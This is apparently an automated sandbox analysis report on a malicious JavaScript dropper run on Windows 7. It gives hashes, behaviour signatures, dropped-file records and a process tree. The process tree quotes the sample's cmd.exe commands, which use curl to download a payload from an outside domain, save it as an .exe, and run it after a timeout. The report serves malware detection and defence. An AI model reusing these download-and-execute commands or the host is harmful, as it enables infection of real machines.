Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    13-02-2024 05:21

General

  • Target

    ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js

  • Size

    38KB

  • MD5

    ebe1d46af488131413a3c3965dba1fb2

  • SHA1

    1e2e8860d5f7a73f921f6bc4e4247bcc2ed2afa3

  • SHA256

    ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db

  • SHA512

    b0d2d7cc9ec0dd750f1e883891933b8a5a9e87ea3bbe6b043d0535e3e6631f9880672d948876d3b2410596b760e7b240c5aebb2b2d9fc1d2c3c7dd5d5c015ac6

  • SSDEEP

    768:tc2qKuiH3OXsHOEcMBcLwzAgD4cyEa9WAhpDg2Aa8SwoLKkVuM6juXUydb03xClb:WfxUnEcsSTVlSB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl https://berringtonnews.com/0bvKZ/0.9683069570382816.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
      2⤵
        PID:1760
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.2856146784629705.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
        2⤵
          PID:2736
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.8346672529195406.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
          2⤵
            PID:2784
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.4543165498112442.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
            2⤵
              PID:1540
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.547184939037962.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
              2⤵
                PID:876
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.3141437127536761.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
                2⤵
                  PID:2824
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout 10 & C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\system32\timeout.exe
                    timeout 10
                    3⤵
                    • Delays execution with timeout.exe
                    PID:2944

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                Filesize

                65KB

                MD5

                ac05d27423a85adc1622c714f2cb6184

                SHA1

                b0fe2b1abddb97837ea0195be70ab2ff14d43198

                SHA256

                c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

                SHA512

                6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

                Filesize

                1KB

                MD5

                a266bb7dcc38a562631361bbf61dd11b

                SHA1

                3b1efd3a66ea28b16697394703a72ca340a05bd5

                SHA256

                df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

                SHA512

                0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

                Filesize

                242B

                MD5

                7b879c95f6b785a3fa0fdf25e8e88297

                SHA1

                e85b5bf172f5256665e2289dc6b6a56aaa73d795

                SHA256

                14a7de742e2ab1fa437f5205abeacc80cf055346110684a18264358408ac1493

                SHA512

                26f8ddfe107bdf4471ff3a66ab457361283009adb615038c27d7a556f70332846a825db98c2936e9797d9ec5bbe9279b6261e7e9bc523ea50a466b94599f0576

              • C:\Users\Admin\AppData\Local\Temp\Tar19FB.tmp

                Filesize

                171KB

                MD5

                9c0c641c06238516f27941aa1166d427

                SHA1

                64cd549fb8cf014fcd9312aa7a5b023847b6c977

                SHA256

                4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

                SHA512

                936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06